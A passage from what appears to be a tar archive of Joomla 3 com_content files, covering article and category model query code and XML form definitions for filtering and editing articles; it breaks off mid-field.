		if (is_numeric($authorId))
		{
			$type = $this->getState('filter.author_id.include', true) ? '= ' : '<>';
			$query->where('a.created_by ' . $type . (int) $authorId);
		}
		elseif (is_array($authorId))
		{
			$authorId = ArrayHelper::toInteger($authorId);
			$authorId = implode(',', $authorId);
			$query->where('a.created_by IN (' . $authorId . ')');
		}

		// Filter by search in title.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			elseif (stripos($search, 'author:') === 0)
			{
				$search = $db->quote('%' . $db->escape(substr($search, 7), true) . '%');
				$query->where('(ua.name LIKE ' . $search . ' OR ua.username LIKE ' . $search . ')');
			}
			elseif (stripos($search, 'content:') === 0)
			{
				$search = $db->quote('%' . $db->escape(substr($search, 8), true) . '%');
				$query->where('(a.introtext LIKE ' . $search . ' OR a.fulltext LIKE ' . $search . ')');
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(a.title LIKE ' . $search . ' OR a.alias LIKE ' . $search . ' OR a.note LIKE ' . $search . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where('a.language = ' . $db->quote($language));
		}

		$tag = $this->getState('filter.tag');

		// Run simplified query when filtering by one tag.
		if (\is_array($tag) && \count($tag) === 1)
		{
			$tag = $tag[0];
		}

		if ($tag && \is_array($tag))
		{
			$tag = ArrayHelper::toInteger($tag);

			$subQuery = $db->getQuery(true)
				->select('DISTINCT ' . $db->quoteName('content_item_id'))
				->from($db->quoteName('#__contentitem_tag_map'))
				->where(
					array(
						$db->quoteName('tag_id') . ' IN (' . implode(',', $tag) . ')',
						$db->quoteName('type_alias') . ' = ' . $db->quote('com_content.article'),
					)
				);

			$query->join(
				'INNER',
				'(' . $subQuery . ') AS ' . $db->quoteName('tagmap')
					. ' ON ' . $db->quoteName('tagmap.content_item_id') . ' = ' . $db->quoteName('a.id')
			);
		}
		elseif ($tag = (int) $tag)
		{
			$query->join(
				'INNER',
				$db->quoteName('#__contentitem_tag_map', 'tagmap')
					. ' ON ' . $db->quoteName('tagmap.content_item_id') . ' = ' . $db->quoteName('a.id')
			)
				->where(
					array(
						$db->quoteName('tagmap.tag_id') . ' = ' . $tag,
						$db->quoteName('tagmap.type_alias') . ' = ' . $db->quote('com_content.article'),
					)
				);
		}

		// Add the list ordering clause.
		$orderCol  = $this->state->get('list.ordering', 'a.id');
		$orderDirn = $this->state->get('list.direction', 'DESC');

		if ($orderCol == 'a.ordering' || $orderCol == 'category_title')
		{
			$orderCol = $db->quoteName('c.title') . ' ' . $orderDirn . ', ' . $db->quoteName('a.ordering');
		}

		$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

		return $query;
	}

	/**
	 * Build a list of authors
	 *
	 * @return  stdClass
	 *
	 * @since   1.6
	 *
	 * @deprecated  4.0  To be removed with Hathor
	 */
	public function getAuthors()
	{
		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		// Construct the query
		$query->select('u.id AS value, u.name AS text')
			->from('#__users AS u')
			->join('INNER', '#__content AS c ON c.created_by = u.id')
			->group('u.id, u.name')
			->order('u.name');

		// Setup the query
		$db->setQuery($query);

		// Return the result
		return $db->loadObjectList();
	}
}
com_content/models/category.php000060400000030527152453734450012704 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * This models supports retrieving a category, the articles associated with the category,
 * sibling, child and parent categories.
 *
 * @since  1.5
 */
class ContentModelCategory extends JModelList
{
	/**
	 * Category items data
	 *
	 * @var array
	 */
	protected $_item = null;

	protected $_articles = null;

	protected $_siblings = null;

	protected $_children = null;

	protected $_parent = null;

	/**
	 * Model context string.
	 *
	 * @var		string
	 */
	protected $_context = 'com_content.category';

	/**
	 * The category that applies.
	 *
	 * @access	protected
	 * @var		object
	 */
	protected $_category = null;

	/**
	 * The list of other newfeed categories.
	 *
	 * @access	protected
	 * @var		array
	 */
	protected $_categories = null;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'alias', 'a.alias',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'catid', 'a.catid', 'category_title',
				'state', 'a.state',
				'access', 'a.access', 'access_level',
				'created', 'a.created',
				'created_by', 'a.created_by',
				'modified', 'a.modified',
				'ordering', 'a.ordering',
				'featured', 'a.featured',
				'language', 'a.language',
				'hits', 'a.hits',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'author', 'a.author',
				'filter_tag'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   The field to order on.
	 * @param   string  $direction  The direction to order on.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication('site');
		$pk  = $app->input->getInt('id');

		$this->setState('category.id', $pk);

		// Load the parameters. Merge Global and Menu Item params into new object
		$params = $app->getParams();
		$menuParams = new Registry;

		if ($menu = $app->getMenu()->getActive())
		{
			$menuParams->loadString($menu->params);
		}

		$mergedParams = clone $menuParams;
		$mergedParams->merge($params);

		$this->setState('params', $mergedParams);
		$user  = JFactory::getUser();

		$asset = 'com_content';

		if ($pk)
		{
			$asset .= '.category.' . $pk;
		}

		if ((!$user->authorise('core.edit.state', $asset)) &&  (!$user->authorise('core.edit', $asset)))
		{
			// Limit to published for people who can't edit or edit.state.
			$this->setState('filter.published', 1);
		}
		else
		{
			$this->setState('filter.published', array(0, 1, 2));
		}

		// Process show_noauth parameter
		if (!$params->get('show_noauth'))
		{
			$this->setState('filter.access', true);
		}
		else
		{
			$this->setState('filter.access', false);
		}

		$itemid = $app->input->get('id', 0, 'int') . ':' . $app->input->get('Itemid', 0, 'int');

		$value = $this->getUserStateFromRequest('com_content.category.filter.' . $itemid . '.tag', 'filter_tag', 0, 'int', false);
		$this->setState('filter.tag', $value);

		// Optional filter text
		$search = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter-search', 'filter-search', '', 'string');
		$this->setState('list.filter', $search);

		// Filter.order
		$orderCol = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');

		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = 'a.ordering';
		}

		$this->setState('list.ordering', $orderCol);

		$listOrder = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');

		if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', '')))
		{
			$listOrder = 'ASC';
		}

		$this->setState('list.direction', $listOrder);

		$this->setState('list.start', $app->input->get('limitstart', 0, 'uint'));

		// Set limit for query. If list, use parameter. If blog, add blog parameters for limit.
		if (($app->input->get('layout') === 'blog') || $params->get('layout_type') === 'blog')
		{
			$limit = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links');
			$this->setState('list.links', $params->get('num_links'));
		}
		else
		{
			$limit = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.limit', 'limit', $params->get('display_num'), 'uint');
		}

		$this->setState('list.limit', $limit);

		// Set the depth of the category query based on parameter
		$showSubcategories = $params->get('show_subcategory_content', '0');

		if ($showSubcategories)
		{
			$this->setState('filter.max_category_levels', $params->get('show_subcategory_content', '1'));
			$this->setState('filter.subcategories', true);
		}

		$this->setState('filter.language', JLanguageMultilang::isEnabled());

		$this->setState('layout', $app->input->getString('layout'));

		// Set the featured articles state
		$this->setState('filter.featured', $params->get('show_featured'));
	}

	/**
	 * Get the articles in the category
	 *
	 * @return  mixed  An array of articles or false if an error occurs.
	 *
	 * @since   1.5
	 */
	public function getItems()
	{
		$limit = $this->getState('list.limit');

		if ($this->_articles === null && $category = $this->getCategory())
		{
			$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));
			$model->setState('params', JFactory::getApplication()->getParams());
			$model->setState('filter.category_id', $category->id);
			$model->setState('filter.published', $this->getState('filter.published'));
			$model->setState('filter.access', $this->getState('filter.access'));
			$model->setState('filter.language', $this->getState('filter.language'));
			$model->setState('filter.featured', $this->getState('filter.featured'));
			$model->setState('list.ordering', $this->_buildContentOrderBy());
			$model->setState('list.start', $this->getState('list.start'));
			$model->setState('list.limit', $limit);
			$model->setState('list.direction', $this->getState('list.direction'));
			$model->setState('list.filter', $this->getState('list.filter'));
			$model->setState('filter.tag', $this->getState('filter.tag'));

			// Filter.subcategories indicates whether to include articles from subcategories in the list or blog
			$model->setState('filter.subcategories', $this->getState('filter.subcategories'));
			$model->setState('filter.max_category_levels', $this->getState('filter.max_category_levels'));
			$model->setState('list.links', $this->getState('list.links'));

			if ($limit >= 0)
			{
				$this->_articles = $model->getItems();

				if ($this->_articles === false)
				{
					$this->setError($model->getError());
				}
			}
			else
			{
				$this->_articles = array();
			}

			$this->_pagination = $model->getPagination();
		}

		return $this->_articles;
	}

	/**
	 * Build the orderby for the query
	 *
	 * @return  string	$orderby portion of query
	 *
	 * @since   1.5
	 */
	protected function _buildContentOrderBy()
	{
		$app       = JFactory::getApplication('site');
		$db        = $this->getDbo();
		$params    = $this->state->params;
		$itemid    = $app->input->get('id', 0, 'int') . ':' . $app->input->get('Itemid', 0, 'int');
		$orderCol  = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');
		$orderDirn = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');
		$orderby   = ' ';

		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = null;
		}

		if (!in_array(strtoupper($orderDirn), array('ASC', 'DESC', '')))
		{
			$orderDirn = 'ASC';
		}

		if ($orderCol && $orderDirn)
		{
			$orderby .= $db->escape($orderCol) . ' ' . $db->escape($orderDirn) . ', ';
		}

		$articleOrderby   = $params->get('orderby_sec', 'rdate');
		$articleOrderDate = $params->get('order_date');
		$categoryOrderby  = $params->def('orderby_pri', '');
		$secondary        = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', ';
		$primary          = ContentHelperQuery::orderbyPrimary($categoryOrderby);

		$orderby .= $primary . ' ' . $secondary . ' a.created ';

		return $orderby;
	}

	/**
	 * Method to get a JPagination object for the data set.
	 *
	 * @return  JPagination  A JPagination object for the data set.
	 *
	 * @since   3.0.1
	 */
	public function getPagination()
	{
		if (empty($this->_pagination))
		{
			return null;
		}

		return $this->_pagination;
	}

	/**
	 * Method to get category data for the current category
	 *
	 * @return  object
	 *
	 * @since   1.5
	 */
	public function getCategory()
	{
		if (!is_object($this->_item))
		{
			if (isset($this->state->params))
			{
				$params = $this->state->params;
				$options = array();
				$options['countItems'] = $params->get('show_cat_num_articles', 1) || !$params->get('show_empty_categories_cat', 0);
				$options['access']     = $params->get('check_access_rights', 1);
			}
			else
			{
				$options['countItems'] = 0;
			}

			$categories = JCategories::getInstance('Content', $options);
			$this->_item = $categories->get($this->getState('category.id', 'root'));

			// Compute selected asset permissions.
			if (is_object($this->_item))
			{
				$user  = JFactory::getUser();
				$asset = 'com_content.category.' . $this->_item->id;

				// Check general create permission.
				if ($user->authorise('core.create', $asset))
				{
					$this->_item->getParams()->set('access-create', true);
				}

				// TODO: Why aren't we lazy loading the children and siblings?
				$this->_children = $this->_item->getChildren();
				$this->_parent = false;

				if ($this->_item->getParent())
				{
					$this->_parent = $this->_item->getParent();
				}

				$this->_rightsibling = $this->_item->getSibling();
				$this->_leftsibling = $this->_item->getSibling(false);
			}
			else
			{
				$this->_children = false;
				$this->_parent = false;
			}
		}

		return $this->_item;
	}

	/**
	 * Get the parent category.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 *
	 * @since   1.6
	 */
	public function getParent()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_parent;
	}

	/**
	 * Get the left sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 *
	 * @since   1.6
	 */
	public function &getLeftSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_leftsibling;
	}

	/**
	 * Get the right sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 *
	 * @since   1.6
	 */
	public function &getRightSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_rightsibling;
	}

	/**
	 * Get the child categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 *
	 * @since   1.6
	 */
	public function &getChildren()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		// Order subcategories
		if ($this->_children)
		{
			$params = $this->getState()->get('params');

			$orderByPri = $params->get('orderby_pri');

			if ($orderByPri === 'alpha' || $orderByPri === 'ralpha')
			{
				$this->_children = ArrayHelper::sortObjects($this->_children, 'title', ($orderByPri === 'alpha') ? 1 : (-1));
			}
		}

		return $this->_children;
	}

	/**
	 * Increment the hit counter for the category.
	 *
	 * @param   int  $pk  Optional primary key of the category to increment.
	 *
	 * @return  boolean True if successful; false otherwise and internal error set.
	 */
	public function hit($pk = 0)
	{
		$input = JFactory::getApplication()->input;
		$hitcount = $input->getInt('hitcount', 1);

		if ($hitcount)
		{
			$pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id');

			$table = JTable::getInstance('Category', 'JTable');
			$table->hit($pk);
		}

		return true;
	}
}
com_content/models/forms/filter_articles.xml000060400000011366152453734450015401 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_CONTENT_FILTER_SEARCH_LABEL"
			description="COM_CONTENT_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="COM_CONTENT_FILTER_PUBLISHED"
			description="COM_CONTENT_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="category_id"
			type="category"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			multiple="true"
			class="multipleCategories"
			extension="com_content"
			onchange="this.form.submit();"
			published="0,1,2"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			multiple="true"
			class="multipleAccessLevels"
			onchange="this.form.submit();"
		/>

		<field
			name="author_id"
			type="author"
			label="COM_CONTENT_FILTER_AUTHOR"
			description="COM_CONTENT_FILTER_AUTHOR_DESC"
			multiple="true"
			class="multipleAuthors"
			onchange="this.form.submit();"
			>
			<option value="0">JNONE</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>

		<field
			name="tag"
			type="tag"
			label="JOPTION_FILTER_TAG"
			description="JOPTION_FILTER_TAG_DESC"
			multiple="true"
			class="multipleTags"
			mode="nested"
			onchange="this.form.submit();"
		/>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
			</field>
		<input type="hidden" name="form_submited" value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.featured ASC">JFEATURED_ASC</option>
			<option value="a.featured DESC">JFEATURED_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="category_title ASC">JCATEGORY_ASC</option>
			<option value="category_title DESC">JCATEGORY_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="association ASC" requires="associations">JASSOCIATIONS_ASC</option>
			<option value="association DESC" requires="associations">JASSOCIATIONS_DESC</option>
			<option value="a.created_by ASC">JAUTHOR_ASC</option>
			<option value="a.created_by DESC">JAUTHOR_DESC</option>
			<option value="language ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.created ASC">JDATE_ASC</option>
			<option value="a.created DESC">JDATE_DESC</option>
			<option value="a.modified ASC">COM_CONTENT_MODIFIED_ASC</option>
			<option value="a.modified DESC">COM_CONTENT_MODIFIED_DESC</option>
			<option value="a.publish_up ASC">COM_CONTENT_PUBLISH_UP_ASC</option>
			<option value="a.publish_up DESC">COM_CONTENT_PUBLISH_UP_DESC</option>
			<option value="a.publish_down ASC">COM_CONTENT_PUBLISH_DOWN_ASC</option>
			<option value="a.publish_down DESC">COM_CONTENT_PUBLISH_DOWN_DESC</option>
			<option value="a.hits ASC">JGLOBAL_HITS_ASC</option>
			<option value="a.hits DESC">JGLOBAL_HITS_DESC</option>
			<option value="rating_count ASC" requires="vote">JGLOBAL_VOTES_ASC</option>
			<option value="rating_count DESC" requires="vote">JGLOBAL_VOTES_DESC</option>
			<option value="rating ASC" requires="vote">JGLOBAL_RATINGS_ASC</option>
			<option value="rating DESC" requires="vote">JGLOBAL_RATINGS_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_content/models/forms/article.xml000060400000055206152453734450013652 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_categories/models/fields" >
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>

		<field
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			description="JFIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			hint="JFIELD_ALIAS_PLACEHOLDER"
			size="40"
		/>

		<field
			name="note"
			type="text"
			label="COM_CONTENT_FIELD_NOTE_LABEL"
			description="COM_CONTENT_FIELD_NOTE_DESC"
			class="span12"
			size="40"
			maxlength="255"
		/>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			description="JGLOBAL_FIELD_VERSION_NOTE_DESC"
			class="span12"
			maxlength="255"
			size="45"
		/>

		<field
			name="articletext"
			type="editor"
			label="COM_CONTENT_FIELD_ARTICLETEXT_LABEL"
			description="COM_CONTENT_FIELD_ARTICLETEXT_DESC"
			filter="JComponentHelper::filterText"
			buttons="true"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="chzn-color-state"
			filter="intval"
			size="1"
			default="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="catid"
			type="categoryedit"
			label="JCATEGORY"
			description="JFIELD_CATEGORY_DESC"
			required="true"
			default=""
		/>

		<field
			name="tags"
			type="tag"
			label="JTAG"
			description="JTAG_DESC"
			class="span12"
			multiple="true"
		/>

		<field
			name="buttonspacer"
			type="spacer"
			description="JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION"
		/>

		<field
			name="created"
			type="calendar"
			label="COM_CONTENT_FIELD_CREATED_LABEL"
			description="COM_CONTENT_FIELD_CREATED_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="created_by"
			type="user"
			label="COM_CONTENT_FIELD_CREATED_BY_LABEL"
			description="COM_CONTENT_FIELD_CREATED_BY_DESC"
		/>

		<field
			name="created_by_alias"
			type="text"
			label="COM_CONTENT_FIELD_CREATED_BY_ALIAS_LABEL"
			description="COM_CONTENT_FIELD_CREATED_BY_ALIAS_DESC"
			size="20"
		/>

		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			description="COM_CONTENT_FIELD_MODIFIED_DESC"
			class="readonly"
			translateformat="true"
			showtime="true"
			size="22"
			readonly="true"
			filter="user_utc"
		/>

		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			class="readonly"
			readonly="true"
			filter="unset"
		/>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="publish_up"
			type="calendar"
			label="COM_CONTENT_FIELD_PUBLISH_UP_LABEL"
			description="COM_CONTENT_FIELD_PUBLISH_UP_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_CONTENT_FIELD_PUBLISH_DOWN_LABEL"
			description="COM_CONTENT_FIELD_PUBLISH_DOWN_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="version"
			type="text"
			label="COM_CONTENT_FIELD_VERSION_LABEL"
			description="COM_CONTENT_FIELD_VERSION_DESC"
			size="6"
			class="readonly"
			readonly="true"
			filter="unset"
		/>

		<field
			name="ordering"
			type="text"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			size="6"
			default="0"
		/>

		<field
			name="metakey"
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			description="JFIELD_META_KEYWORDS_DESC"
			rows="3"
			cols="30"
		/>

		<field
			name="metadesc"
			type="textarea"
			label="JFIELD_META_DESCRIPTION_LABEL"
			description="JFIELD_META_DESCRIPTION_DESC"
			rows="3"
			cols="30"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>

		<field
			name="hits"
			type="number"
			label="JGLOBAL_HITS"
			description="COM_CONTENT_FIELD_HITS_DESC"
			class="readonly"
			size="6"
			readonly="true"
			filter="unset"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_CONTENT_FIELD_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="featured"
			type="radio"
			label="JFEATURED"
			description="COM_CONTENT_FIELD_FEATURED_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="rules"
			type="rules"
			label="JFIELD_RULES_LABEL"
			translate_label="false"
			filter="rules"
			component="com_content"
			section="article"
			validate="rules"
		/>

	</fieldset>

	<fields name="attribs" label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL">
		<fieldset name="basic" label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL">

			<field
				name="article_layout"
				type="componentlayout"
				label="JFIELD_ALT_LAYOUT_LABEL"
				description="JFIELD_ALT_COMPONENT_LAYOUT_DESC"
				useglobal="true"
				extension="com_content"
				view="article"
			/>

			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				description="JGLOBAL_SHOW_TITLE_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				description="JGLOBAL_LINKED_TITLES_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option	value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTENT_FIELD_SHOW_TAGS_LABEL"
				description="COM_CONTENT_FIELD_SHOW_TAGS_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				description="JGLOBAL_SHOW_INTRO_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				description="COM_CONTENT_FIELD_INFOBLOCK_POSITION_DESC"
				useglobal="true"
				>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				description="COM_CONTENT_FIELD_INFOBLOCK_TITLE_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				description="JGLOBAL_LINK_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_PARENT_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_LINK_PARENT_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field
				name="show_associations"
				type="list"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				description="JGLOBAL_SHOW_ASSOCIATIONS_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				description="JGLOBAL_SHOW_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				description="JGLOBAL_LINK_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				description="JGLOBAL_SHOW_CREATE_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				description="JGLOBAL_SHOW_MODIFY_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				description="JGLOBAL_SHOW_PUBLISH_DATE_DESC"
				class="chzn-color"
				useglobal="true"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				description="JGLOBAL_SHOW_NAVIGATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_icons"
				type="list"
				label="JGLOBAL_SHOW_ICONS_LABEL"
				description="JGLOBAL_SHOW_ICONS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_print_icon"
				type="list"
